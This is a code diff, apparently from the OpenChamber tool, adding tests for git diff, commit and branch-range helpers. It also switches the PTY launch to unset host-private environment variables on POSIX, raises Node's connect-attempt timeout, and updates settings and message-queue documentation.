|
||||
await git.commit('Initial');
|
||||
@@ -322,6 +420,71 @@ describe('applyHunk', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe.runIf(canRunGit())('untracked diffs', () => {
|
||||
it.each(['false', 'warn'])('returns only the patch with core.safecrlf=%s', async (safecrlf) => {
|
||||
const { tmpDir, git } = await createTempRepo();
|
||||
await git.addConfig('core.autocrlf', 'true');
|
||||
await git.addConfig('core.safecrlf', safecrlf);
|
||||
fs.writeFileSync(path.join(tmpDir, 'new file.txt'), 'first\nsecond\n');
|
||||
|
||||
// Confirm this fixture produces a real diff exit, including stderr in the warning case.
|
||||
let expectedPatch;
|
||||
try {
|
||||
runGit(tmpDir, ['diff', '--no-color', '--full-index', '--no-index', '--', '/dev/null', 'new file.txt']);
|
||||
throw new Error('Expected git diff to exit with differences');
|
||||
} catch (error) {
|
||||
expect(error.status).toBe(1);
|
||||
expectedPatch = error.stdout;
|
||||
if (safecrlf === 'warn') {
|
||||
expect(error.stderr).toContain('LF will be replaced by CRLF');
|
||||
}
|
||||
}
|
||||
|
||||
const diff = await getDiff(tmpDir, { path: 'new file.txt' });
|
||||
expect(diff).toBe(expectedPatch);
|
||||
expect(diff).toContain('+first\n+second\n');
|
||||
expect(diff).not.toContain('warning:');
|
||||
expect(await getUntrackedDiffs(tmpDir, ['new file.txt'])).toEqual([diff]);
|
||||
});
|
||||
|
||||
it('accepts an empty untracked file without a process error', async () => {
|
||||
const { tmpDir } = await createTempRepo();
|
||||
fs.writeFileSync(path.join(tmpDir, 'empty.txt'), '');
|
||||
const diff = await getDiff(tmpDir, { path: 'empty.txt' });
|
||||
expect(diff).toContain('new file mode 100644');
|
||||
expect(diff).not.toContain('@@');
|
||||
expect(await getUntrackedDiffs(tmpDir, ['empty.txt'])).toEqual([diff]);
|
||||
});
|
||||
|
||||
it('rejects fatal conversion errors while preserving other batch entries', async () => {
|
||||
const { tmpDir } = await createTempRepo();
|
||||
runGit(tmpDir, ['config', 'diff.broken.textconv', 'false']);
|
||||
fs.writeFileSync(path.join(tmpDir, '.gitattributes'), 'bad.txt diff=broken\n');
|
||||
fs.writeFileSync(path.join(tmpDir, 'first.safe'), 'first\n');
|
||||
fs.writeFileSync(path.join(tmpDir, 'bad.txt'), 'bad\n');
|
||||
fs.writeFileSync(path.join(tmpDir, 'last.safe'), 'last\n');
|
||||
|
||||
await expect(getDiff(tmpDir, { path: 'bad.txt' })).rejects.toThrow('unable to read files to diff');
|
||||
const diffs = await getUntrackedDiffs(tmpDir, ['first.safe', 'bad.txt', 'last.safe'], { concurrency: 1 });
|
||||
expect(diffs).toHaveLength(3);
|
||||
expect(diffs[0]).toContain('+first\n');
|
||||
expect(diffs[1]).toBe('');
|
||||
expect(diffs[2]).toContain('+last\n');
|
||||
});
|
||||
|
||||
it('rejects truncated patches when the process output exceeds the buffer limit', async () => {
|
||||
const { tmpDir } = await createTempRepo();
|
||||
fs.writeFileSync(path.join(tmpDir, 'large.txt'), 'x'.repeat(21 * 1024 * 1024) + '\n');
|
||||
const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});
|
||||
try {
|
||||
await expect(getDiff(tmpDir, { path: 'large.txt' })).rejects.toThrow('maxBuffer');
|
||||
expect(await getUntrackedDiffs(tmpDir, ['large.txt'])).toEqual(['']);
|
||||
} finally {
|
||||
errorSpy.mockRestore();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('symlink diffs', () => {
|
||||
it('treats an untracked directory symlink as a link in patch and split diffs', async () => {
|
||||
if (!canRunGit() || process.platform === 'win32') return;
|
||||
@@ -1669,18 +1832,249 @@ describe.runIf(canRunGit())('getUnpushedBranchCounts', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe.runIf(canRunGit())('commit comparisons', () => {
|
||||
it('shows only the selected commit and gives walkthrough the identical patch', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), 'selected version\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'selected']);
|
||||
const hash = runGit(repository, ['rev-parse', 'HEAD']).trim();
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), 'later version\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'later']);
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), 'uncommitted version\n');
|
||||
const patch = await getCommitDiff(repository, { hash, path: 'README.md' });
|
||||
expect(patch).toContain('+selected version');
|
||||
expect(patch).not.toContain('later version');
|
||||
expect(patch).not.toContain('uncommitted version');
|
||||
expect((await getCommitFiles(repository, hash)).files).toEqual([
|
||||
{ path: 'README.md', insertions: 1, deletions: 1, isBinary: false, changeType: 'M' },
|
||||
]);
|
||||
const source = parseSource({ kind: 'commit', hash });
|
||||
expect(sourceKey(source)).toBe(`commit:${hash}`);
|
||||
expect((await loadSourceSections(repository, source)).sections).toEqual([{ scope: 'commit', patch }]);
|
||||
const routes = new Map();
|
||||
registerGitRoutes({
|
||||
get: (url, handler) => routes.set(url, handler), post() {}, put() {}, delete() {},
|
||||
});
|
||||
let response;
|
||||
await routes.get('/api/git/commit-diff')(
|
||||
{ query: { directory: repository, hash, path: 'README.md' } },
|
||||
{ json: (body) => { response = body; }, status: (code) => { throw new Error(`Unexpected status ${code}`); } },
|
||||
);
|
||||
expect(response).toEqual({ diff: patch });
|
||||
});
|
||||
|
||||
it('handles root and empty commits and rejects invalid hashes', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
const root = runGit(repository, ['rev-parse', 'HEAD']).trim();
|
||||
expect(await getCommitDiff(repository, { hash: root })).toContain('+# Test');
|
||||
expect((await getCommitFiles(repository, root)).files[0].changeType).toBe('A');
|
||||
runGit(repository, ['commit', '--allow-empty', '-m', 'empty']);
|
||||
const empty = runGit(repository, ['rev-parse', 'HEAD']).trim();
|
||||
expect(await getCommitDiff(repository, { hash: empty })).toBe('');
|
||||
expect(await getCommitFiles(repository, empty)).toEqual({ files: [] });
|
||||
expect(() => parseSource({ kind: 'commit', hash: 'HEAD' })).toThrow();
|
||||
expect(() => parseSource({ kind: 'commit', hash: [root] })).toThrow();
|
||||
await expect(getCommitDiff(repository, { hash: 'HEAD' })).rejects.toThrow();
|
||||
await expect(getCommitFiles(repository, '0'.repeat(40))).rejects.toThrow();
|
||||
});
|
||||
|
||||
it('keeps rename paths and original contents together, including whitespace in names', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
const destination = ' new\nname.md';
|
||||
runGit(repository, ['mv', 'README.md', destination]);
|
||||
runGit(repository, ['commit', '-m', 'rename']);
|
||||
const hash = runGit(repository, ['rev-parse', 'HEAD']).trim();
|
||||
const { files } = await getCommitFiles(repository, hash);
|
||||
expect(files).toEqual([{ path: destination, previousPath: 'README.md', changeType: 'R', insertions: 0, deletions: 0, isBinary: false }]);
|
||||
const patch = await getCommitDiff(repository, { hash, path: destination, previousPath: files[0].previousPath });
|
||||
expect(patch).toContain('rename from README.md');
|
||||
expect(patch).toContain('similarity index 100%');
|
||||
});
|
||||
|
||||
it('compares a merge commit against its first parent', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
runGit(repository, ['checkout', '-b', 'side']);
|
||||
fs.writeFileSync(path.join(repository, 'side.txt'), 'side\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'side']);
|
||||
runGit(repository, ['checkout', 'next']);
|
||||
fs.writeFileSync(path.join(repository, 'main.txt'), 'main\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'main']);
|
||||
runGit(repository, ['merge', '--no-ff', 'side', '-m', 'merge']);
|
||||
const hash = runGit(repository, ['rev-parse', 'HEAD']).trim();
|
||||
expect((await getCommitFiles(repository, hash)).files.map((file) => file.path)).toEqual(['side.txt']);
|
||||
const patch = await getCommitDiff(repository, { hash });
|
||||
expect(patch).toContain('+side');
|
||||
expect(patch).not.toContain('main.txt');
|
||||
});
|
||||
|
||||
it('limits current-branch history to 50 commits without including another branch', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
runGit(repository, ['checkout', '-b', 'other']);
|
||||
runGit(repository, ['commit', '--allow-empty', '-m', 'other branch only']);
|
||||
runGit(repository, ['checkout', 'next']);
|
||||
for (let index = 0; index < 51; index += 1) runGit(repository, ['commit', '--allow-empty', '-m', `current ${index}`]);
|
||||
const history = await getLog(repository, { maxCount: 50, to: 'refs/heads/next' });
|
||||
expect(history.all).toHaveLength(50);
|
||||
expect(history.all[0].message).toBe('current 50');
|
||||
expect(history.all.some((commit) => commit.message === 'other branch only')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe.runIf(canRunGit())('getRangeDiff', () => {
|
||||
it('resolves a base that exists only on a remote other than origin', async () => {
|
||||
it('loads a committed deletion that no longer exists in HEAD or the working tree', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
runGit(repository, ['rm', 'README.md']);
|
||||
runGit(repository, ['commit', '-m', 'delete file']);
|
||||
const diff = await getRangeDiff(repository, { base: 'origin/react', head: 'next', path: 'README.md', includeWorkingTree: true });
|
||||
expect(diff).toContain('deleted file mode');
|
||||
expect(diff).toContain('-# Test');
|
||||
});
|
||||
|
||||
it('carries the working-tree option through the actual HTTP route handlers', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
fs.writeFileSync(path.join(repository, 'local.txt'), 'current local work\n');
|
||||
const routes = new Map();
|
||||
registerGitRoutes({
|
||||
get: (url, handler) => routes.set(url, handler),
|
||||
post() {},
|
||||
put() {},
|
||||
delete() {},
|
||||
});
|
||||
const query = { directory: repository, base: 'origin/react', head: 'next', includeWorkingTree: 'true' };
|
||||
for (const endpoint of ['range-diff', 'range-files']) {
|
||||
let status = 200;
|
||||
let body;
|
||||
const response = {
|
||||
status(value) { status = value; return this; },
|
||||
json(value) { body = value; },
|
||||
};
|
||||
await routes.get(`/api/git/${endpoint}`)({ query }, response);
|
||||
expect(status).toBe(200);
|
||||
if (endpoint === 'range-diff') expect(body.diff).toContain('+current local work');
|
||||
else expect(body.files).toEqual([{ path: 'local.txt', status: 'A' }]);
|
||||
}
|
||||
});
|
||||
|
||||
it('asks for a new base after restacking and compares against the selected parent', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
runGit(repository, ['checkout', '-b', 'child', 'origin/react']);
|
||||
fs.writeFileSync(path.join(repository, 'child.txt'), 'child\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'child']);
|
||||
expect(await getBranchBase(repository, 'child')).toEqual({ base: 'origin/react' });
|
||||
runGit(repository, ['checkout', '-b', 'parent', 'origin/react']);
|
||||
fs.writeFileSync(path.join(repository, 'parent.txt'), 'parent\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'parent']);
|
||||
runGit(repository, ['checkout', 'child']);
|
||||
runGit(repository, ['rebase', 'parent']);
|
||||
expect(await getBranchBase(repository, 'child')).toEqual({ base: null });
|
||||
fs.writeFileSync(path.join(repository, 'child.txt'), 'current child\n');
|
||||
const options = { base: 'refs/heads/parent', head: 'child', includeWorkingTree: true };
|
||||
expect(await getRangeFiles(repository, options)).toEqual([{ path: 'child.txt', status: 'A' }]);
|
||||
const diff = await getRangeDiff(repository, options);
|
||||
expect(diff).toContain('+current child');
|
||||
expect(diff).not.toContain('parent.txt');
|
||||
});
|
||||
|
||||
it('combines committed, staged, unstaged and untracked work without changing the real index', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), '# Committed\n');
|
||||
runGit(repository, ['add', 'README.md']);
|
||||
runGit(repository, ['commit', '-m', 'branch change']);
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), '# Staged\n');
|
||||
fs.writeFileSync(path.join(repository, 'staged.txt'), 'staged only\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), '# Current\n');
|
||||
fs.writeFileSync(path.join(repository, 'untracked.txt'), 'new local file\n');
|
||||
fs.writeFileSync(path.join(repository, ' leading space.txt'), 'space path\n');
|
||||
const indexBefore = fs.readFileSync(path.join(repository, '.git/index'));
|
||||
const options = { base: 'origin/react', head: 'next', includeWorkingTree: true };
|
||||
|
||||
const diff = await getRangeDiff(repository, options);
|
||||
expect(diff).toContain('-# Test');
|
||||
expect(diff).toContain('+# Current');
|
||||
expect(diff).not.toContain('+# Staged');
|
||||
expect(diff).not.toContain('+# Committed');
|
||||
expect(diff).toContain('+new local file');
|
||||
expect(diff).toContain('+staged only');
|
||||
expect(await getRangeFiles(repository, options)).toEqual(expect.arrayContaining([
|
||||
{ path: 'README.md', status: 'M' },
|
||||
{ path: 'staged.txt', status: 'A' },
|
||||
{ path: 'untracked.txt', status: 'A' },
|
||||
{ path: ' leading space.txt', status: 'A' },
|
||||
]));
|
||||
const { sections } = await loadSourceSections(repository, { kind: 'branch', baseRef: options.base, headRef: options.head });
|
||||
expect(sections).toEqual([{ scope: 'branch', patch: diff }]);
|
||||
expect(fs.readFileSync(path.join(repository, '.git/index'))).toEqual(indexBefore);
|
||||
|
||||
const committed = await getRangeDiff(repository, { base: options.base, head: options.head });
|
||||
expect(committed).toContain('+# Committed');
|
||||
expect(committed).not.toContain('+new local file');
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), '# Latest\n');
|
||||
expect(await getRangeDiff(repository, { ...options, path: 'README.md' })).toContain('+# Latest');
|
||||
});
|
||||
|
||||
it('reports the final file after a staged deletion is recreated, and omits undone branch changes', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
runGit(repository, ['rm', 'README.md']);
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), '# Recreated\n');
|
||||
const options = { base: 'origin/react', head: 'next', includeWorkingTree: true };
|
||||
expect(await getRangeFiles(repository, options)).toEqual([{ path: 'README.md', status: 'M' }]);
|
||||
const diff = await getRangeDiff(repository, options);
|
||||
expect(diff).toContain('-# Test');
|
||||
expect(diff).toContain('+# Recreated');
|
||||
expect(diff.match(/diff --git/g)).toHaveLength(1);
|
||||
fs.writeFileSync(path.join(repository, 'README.md'), '# Test\n');
|
||||
expect(await getRangeFiles(repository, options)).toEqual([]);
|
||||
expect(await getRangeDiff(repository, options)).toBe('');
|
||||
});
|
||||
|
||||
it('keeps local and remote bases distinct and rejects a different checked-out branch', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
runGit(repository, ['branch', 'react']);
|
||||
fs.writeFileSync(path.join(repository, 'parent.txt'), 'parent work\n');
|
||||
runGit(repository, ['add', '.']);
|
||||
runGit(repository, ['commit', '-m', 'parent work']);
|
||||
runGit(repository, ['branch', '-f', 'react', 'HEAD']);
|
||||
fs.writeFileSync(path.join(repository, 'child.txt'), 'child work\n');
|
||||
const options = { head: 'next', includeWorkingTree: true };
|
||||
const local = await getRangeDiff(repository, { ...options, base: 'react' });
|
||||
const remote = await getRangeDiff(repository, { ...options, base: 'origin/react' });
|
||||
expect(local).not.toContain('parent.txt');
|
||||
expect(remote).toContain('parent.txt');
|
||||
expect(local).toContain('child.txt');
|
||||
expect(await getRangeFiles(repository, { ...options, base: 'react' })).toEqual([{ path: 'child.txt', status: 'A' }]);
|
||||
runGit(repository, ['checkout', 'react']);
|
||||
await expect(getRangeDiff(repository, { ...options, base: 'origin/react' })).rejects.toThrow(/checked-out branch/);
|
||||
});
|
||||
|
||||
it('includes untracked symlinks as links without reading their targets', async () => {
|
||||
const { repository } = createRepositoryWithRemote();
|
||||
const outside = path.join(createTempDir(), 'outside.txt');
|
||||
fs.writeFileSync(outside, 'must not be in a diff\n');
|
||||
fs.symlinkSync(outside, path.join(repository, 'link.txt'));
|
||||
const diff = await getRangeDiff(repository, { base: 'origin/react', head: 'next', includeWorkingTree: true });
|
||||
expect(diff).toContain('new file mode 120000');
|
||||
expect(diff).toContain(outside);
|
||||
expect(diff).not.toContain('must not be in a diff');
|
||||
});
|
||||
|
||||
it('uses an explicitly selected base on a remote other than origin', async () => {
|
||||
const { repository } = createRepositoryWithRemote({ remoteName: 'upstream', defaultBranch: 'react' });
|
||||
// Only refs/remotes/upstream/react carries the base — git cannot resolve the
|
||||
// bare name, so an unqualified `react...next` fails with "ambiguous argument".
|
||||
// The selected remote ref must work without a local branch of that name.
|
||||
fs.writeFileSync(path.join(repository, 'feature.txt'), 'work\n');
|
||||
runGit(repository, ['add', 'feature.txt']);
|
||||
runGit(repository, ['commit', '-m', 'feature']);
|
||||
|
||||
const diff = await getRangeDiff(repository, { base: 'react', head: 'next' });
|
||||
const diff = await getRangeDiff(repository, { base: 'upstream/react', head: 'next' });
|
||||
|
||||
expect(diff).toContain('feature.txt');
|
||||
await expect(getRangeDiff(repository, { base: 'react', head: 'next' })).rejects.toThrow(/is not available locally/);
|
||||
});
|
||||
|
||||
it('names an unfetched remote-only ref instead of failing with git\'s ambiguous argument (#2735)', async () => {
|
||||
@@ -1693,6 +2087,9 @@ describe.runIf(canRunGit())('getRangeDiff', () => {
|
||||
});
|
||||
|
||||
describe('parseBranchCreationSource', () => {
|
||||
it('does not reuse the creation base after a rebase', () => {
|
||||
expect(parseBranchCreationSource('rebase (finish): refs/heads/feature onto abc123\nbranch: Created from main')).toBeNull();
|
||||
});
|
||||
it('returns the source ref from the oldest creation entry', () => {
|
||||
// Reflog lists newest entries first; creation is the last line.
|
||||
const reflog = [
|
||||
@@ -1739,7 +2136,7 @@ describe.runIf(canRunGit())('getRangeFiles', () => {
|
||||
runGit(repository, ['add', 'added.txt', 'README.md']);
|
||||
runGit(repository, ['commit', '-m', 'changes']);
|
||||
|
||||
const files = await getRangeFiles(repository, { base: 'react', head: 'next' });
|
||||
const files = await getRangeFiles(repository, { base: 'origin/react', head: 'next' });
|
||||
|
||||
expect(files).toEqual(expect.arrayContaining([
|
||||
{ path: 'added.txt', status: 'A' },
|
||||
@@ -1761,7 +2158,7 @@ describe.runIf(canRunGit())('getRangeFiles', () => {
|
||||
runGit(repository, ['add', '-A']);
|
||||
runGit(repository, ['commit', '-m', 'rename']);
|
||||
|
||||
const files = await getRangeFiles(repository, { base: 'react', head: 'next' });
|
||||
const files = await getRangeFiles(repository, { base: 'origin/react', head: 'next' });
|
||||
|
||||
const renameEntry = files.find((file) => file.status === 'R');
|
||||
expect(renameEntry).toBeDefined();
|
||||
@@ -1783,7 +2180,7 @@ describe.runIf(canRunGit())('getRangeFiles', () => {
|
||||
runGit(repository, ['add', '-A']);
|
||||
runGit(repository, ['commit', '-m', 'copy']);
|
||||
|
||||
const files = await getRangeFiles(repository, { base: 'react', head: 'next' });
|
||||
const files = await getRangeFiles(repository, { base: 'origin/react', head: 'next' });
|
||||
|
||||
const copyEntry = files.find((file) => file.status === 'C');
|
||||
expect(copyEntry).toBeDefined();
|
||||
|
||||
@@ -12,7 +12,9 @@
|
||||
import { createRequire } from 'node:module';
|
||||
import { existsSync } from 'node:fs';
|
||||
|
||||
const LINUX_ENV_BINARIES = ['/usr/bin/env', '/bin/env'];
|
||||
const POSIX_ENV_BINARIES = ['/usr/bin/env', '/bin/env'];
|
||||
/** Variables a PTY shell must never inherit from the OpenChamber host process. */
|
||||
const PTY_HOST_PRIVATE_VARIABLES = Object.freeze(['ARGV0', 'NODE_CHANNEL_FD']);
|
||||
|
||||
/**
|
||||
* Remove AppImage `ARGV0` from a mutable env object (or `process.env`).
|
||||
@@ -49,26 +51,31 @@ export function clearAppImageArgv0FromProcessEnv() {
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve a Linux PTY launch that drops native `ARGV0` before the shell starts.
|
||||
* Resolve a POSIX PTY launch that unsets host-private variables before the
|
||||
* shell starts.
|
||||
*
|
||||
* `bun-pty` merges the OS environ into the child, so deleting `ARGV0` from the
|
||||
* JS env object alone is not enough. Wrapping with `env -u ARGV0` unsets it
|
||||
* before execing the real shell. No-op on non-Linux platforms.
|
||||
* `bun-pty` merges the OS environ into the child, so deleting a variable from
|
||||
* the JS env object alone is not enough: AppImage `ARGV0` came back on Linux,
|
||||
* and the daemon's `NODE_CHANNEL_FD` came back everywhere (Node then warns
|
||||
* "Failed to parse IPC channel number" when a CLI such as opencode exits).
|
||||
* Wrapping with `env -u NAME ...` unsets them before execing the real shell.
|
||||
* No-op on Windows and when no `env` binary is found.
|
||||
*
|
||||
* @param {string} executable
|
||||
* @param {string[]} args
|
||||
* @param {readonly string[]} variables
|
||||
* @returns {{ executable: string, args: string[] }}
|
||||
*/
|
||||
export function resolveLinuxPtyLaunch(executable, args = []) {
|
||||
if (process.platform !== 'linux') {
|
||||
export function resolvePosixPtyLaunch(executable, args = [], variables = PTY_HOST_PRIVATE_VARIABLES) {
|
||||
if (process.platform === 'win32' || variables.length === 0) {
|
||||
return { executable, args };
|
||||
}
|
||||
const envBinary = LINUX_ENV_BINARIES.find((candidate) => existsSync(candidate));
|
||||
const envBinary = POSIX_ENV_BINARIES.find((candidate) => existsSync(candidate));
|
||||
if (!envBinary) {
|
||||
return { executable, args };
|
||||
}
|
||||
return {
|
||||
executable: envBinary,
|
||||
args: ['-u', 'ARGV0', executable, ...args],
|
||||
args: [...variables.flatMap((name) => ['-u', name]), executable, ...args],
|
||||
};
|
||||
}
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
clearAppImageArgv0FromProcessEnv,
|
||||
resolveLinuxPtyLaunch,
|
||||
resolvePosixPtyLaunch,
|
||||
stripAppImageArgv0Leak,
|
||||
} from './inherited-env.js';
|
||||
|
||||
@@ -46,18 +46,17 @@ describe('clearAppImageArgv0FromProcessEnv', () => {
|
||||
});
|
||||
});
|
||||
|
||||
describe('resolveLinuxPtyLaunch', () => {
|
||||
it('wraps the shell with env -u ARGV0 on Linux', () => {
|
||||
if (process.platform !== 'linux') return;
|
||||
expect(resolveLinuxPtyLaunch('/bin/zsh', ['-l'])).toEqual({
|
||||
describe('resolvePosixPtyLaunch', () => {
|
||||
it('wraps the shell with env -u for every host-private variable on POSIX', () => {
|
||||
if (process.platform === 'win32') return;
|
||||
expect(resolvePosixPtyLaunch('/bin/zsh', ['-l'])).toEqual({
|
||||
executable: expect.stringMatching(/\/env$/),
|
||||
args: ['-u', 'ARGV0', '/bin/zsh', '-l'],
|
||||
args: ['-u', 'ARGV0', '-u', 'NODE_CHANNEL_FD', '/bin/zsh', '-l'],
|
||||
});
|
||||
});
|
||||
|
||||
it('leaves non-Linux launches unchanged', () => {
|
||||
if (process.platform === 'linux') return;
|
||||
expect(resolveLinuxPtyLaunch('/bin/zsh', ['-l'])).toEqual({
|
||||
it('leaves the launch unchanged with nothing to unset', () => {
|
||||
expect(resolvePosixPtyLaunch('/bin/zsh', ['-l'], [])).toEqual({
|
||||
executable: '/bin/zsh',
|
||||
args: ['-l'],
|
||||
});
|
||||
|
||||
@@ -140,7 +140,10 @@ allowlists.
|
||||
|
||||
Every mutation broadcasts `openchamber:message-queue.updated` with
|
||||
`{ revision, session }` to all connected clients (SSE and WS), so several
|
||||
devices on one server see one queue. The session in that payload always names
|
||||
devices on one server see one queue. SSE uses the shared control stream at
|
||||
`/api/openchamber/events`; `/api/global/event` carries no OpenChamber events.
|
||||
The UI subscribes independently of its OpenCode transport and re-reads the
|
||||
snapshot whenever either stream reconnects. The session in that payload always names
|
||||
its `directory`, including the broadcast that removes the last item: the UI
|
||||
keys its projection by directory, and a broadcast without one left the
|
||||
delivered message on screen (a session's directory is remembered until the
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
import net from 'node:net';
|
||||
|
||||
// Node caps each happy-eyeballs connect attempt at 250ms by default
|
||||
// (autoSelectFamilyAttemptTimeout). TCP handshakes to provider endpoints that are
|
||||
// geographically distant routinely take 300-1500ms, so fetch() from a Node process
|
||||
// aborts every attempt (ETIMEDOUT) and surfaces "fetch failed" even though the host
|
||||
// is reachable — e.g. the z.ai quota endpoint from an IPv4-only egress (#3399).
|
||||
//
|
||||
// Every Node process entrypoint that performs provider fetches raises the
|
||||
// per-attempt cap. Family autoselection itself stays enabled, so the IPv6→IPv4
|
||||
// fallback and ::1/localhost servers keep working; disabling it instead breaks
|
||||
// local MCP servers. Runtimes without the setter (Bun's fetch path, older Node)
|
||||
// are a no-op.
|
||||
export const CONNECT_ATTEMPT_TIMEOUT_MS = 5_000;
|
||||
|
||||
export const applyConnectAttemptTimeout = (netModule = net) => {
|
||||
try {
|
||||
netModule.setDefaultAutoSelectFamilyAttemptTimeout(CONNECT_ATTEMPT_TIMEOUT_MS);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
@@ -0,0 +1,52 @@
|
||||
import { describe, expect, it, vi } from 'vitest';
|
||||
import net from 'node:net';
|
||||
import { spawnSync } from 'node:child_process';
|
||||
|
||||
import { applyConnectAttemptTimeout, CONNECT_ATTEMPT_TIMEOUT_MS } from './network-defaults.js';
|
||||
|
||||
describe('applyConnectAttemptTimeout', () => {
|
||||
it('initializes the server entrypoint in a fresh Node process', () => {
|
||||
const serverUrl = new URL('../index.js', import.meta.url).href;
|
||||
const result = spawnSync('node', ['--input-type=module', '--eval', `
|
||||
import net from 'node:net';
|
||||
import assert from 'node:assert/strict';
|
||||
const family = net.getDefaultAutoSelectFamily();
|
||||
net.setDefaultAutoSelectFamilyAttemptTimeout(250);
|
||||
await import(${JSON.stringify(serverUrl)});
|
||||
assert.equal(net.getDefaultAutoSelectFamilyAttemptTimeout(), 5000);
|
||||
assert.equal(net.getDefaultAutoSelectFamily(), family);
|
||||
process.exit(0);
|
||||
`], { encoding: 'utf8', timeout: 15_000, windowsHide: true });
|
||||
expect(result.status, result.stderr).toBe(0);
|
||||
});
|
||||
|
||||
it('raises the per-attempt connect timeout on runtimes that expose the setter', () => {
|
||||
const previous = net.getDefaultAutoSelectFamilyAttemptTimeout();
|
||||
try {
|
||||
expect(applyConnectAttemptTimeout()).toBe(true);
|
||||
expect(net.getDefaultAutoSelectFamilyAttemptTimeout()).toBe(CONNECT_ATTEMPT_TIMEOUT_MS);
|
||||
} finally {
|
||||
net.setDefaultAutoSelectFamilyAttemptTimeout(previous);
|
||||
}
|
||||
});
|
||||
|
||||
it('is a no-op on runtimes without the setter', () => {
|
||||
expect(applyConnectAttemptTimeout({})).toBe(false);
|
||||
});
|
||||
|
||||
it('survives a throwing setter', () => {
|
||||
const setDefaultAutoSelectFamilyAttemptTimeout = vi.fn(() => {
|
||||
throw new Error('not supported');
|
||||
});
|
||||
expect(applyConnectAttemptTimeout({ setDefaultAutoSelectFamilyAttemptTimeout })).toBe(false);
|
||||
});
|
||||
|
||||
it('leaves family autoselection itself untouched', () => {
|
||||
const setDefaultAutoSelectFamily = vi.fn();
|
||||
const setDefaultAutoSelectFamilyAttemptTimeout = vi.fn();
|
||||
applyConnectAttemptTimeout({ setDefaultAutoSelectFamily, setDefaultAutoSelectFamilyAttemptTimeout });
|
||||
expect(setDefaultAutoSelectFamilyAttemptTimeout).toHaveBeenCalledTimes(1);
|
||||
expect(setDefaultAutoSelectFamilyAttemptTimeout).toHaveBeenCalledWith(CONNECT_ATTEMPT_TIMEOUT_MS);
|
||||
expect(setDefaultAutoSelectFamily).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
@@ -212,7 +212,12 @@ Managed health failures are classified as `timeout`, `connection_refused`, `conn
|
||||
- `persistSettings(changes)`
|
||||
- Persistent permission auto-accept policy is stored under `permissionAutoAccept`; execution ownership lives in `lib/permission-auto-accept/`.
|
||||
- Queued follow-up messages live in `<data-dir>/message-queue.json`, not in settings; execution ownership lives in `lib/message-queue/`.
|
||||
- Shared sidebar preferences are stored as validated top-level fields: `sidebarProjectDisplayMode`, `sidebarSessionGroupingMode`, `sidebarProjectSortOrder`, and `sidebarShowRecentSection`. Device-local picker selection and sticky-header state do not enter `settings.json`.
|
||||
- Shared sidebar preferences are stored as validated top-level fields: `sidebarProjectDisplayMode`, `sidebarSessionGroupingMode`, `sidebarProjectSortOrder`, and `sidebarShowRecentSection`. Device-local picker selection and sticky-header state do not enter either settings file.
|
||||
- Two files (`settings-files.js`): `settings.json` holds instance facts and any legacy or unknown keys; `preferences.json` beside it holds every key the generated registry snapshot (`settings-registry.json`) marks `profile`, as `{ version: 1, fields: { key: { value, updatedAt, surfaces? } } }`. Keys the snapshot marks `perSurface` are stored per surface kind: `GET`/`PUT /api/config/settings` read the client's kind from the `surface` query parameter (`settingsSurfaceOf`; the legacy `x-openchamber-surface` header is still honoured, but a header forces a CORS preflight that cross-origin shells and older instances refuse, so clients must not send one) (`web`, `desktop`, `vscode`, `mobile`; anything else means base), `persistSettings(changes, { surface })` writes a changed per-surface key under `surfaces[surface]` and never touches its base, and `readSettingsFromDisk({ surface })` resolves that kind's value first, the base otherwise. Callers without a surface (migrations, the seed, server-side feature writers) read and write the base. `readSettingsFromDisk()` returns the merged document and seeds `preferences.json` once from an existing `settings.json` (which it leaves intact). An existing `preferences.json` that fails to parse is a failure, not an empty profile: it is never seeded or overwritten, the merged read serves the instance part, and `persistSettings` drops profile keys with a warning until the file is fixed or removed. `writeSettingsToDisk(document)` splits by scope and writes `settings.json` as the instance part plus a copy of the profile's base values (`legacySettingsDocumentOf`): a build from before the split reads only that file, so a rollback keeps the user's preferences, while current builds ignore the copy because `preferences.json` wins in the merge; device keys are dropped from writes. Modules that read one profile key off the disk on a hot path use `readMergedSettingsSync`.
|
||||
|
||||
## Public exports (settings-files.js)
|
||||
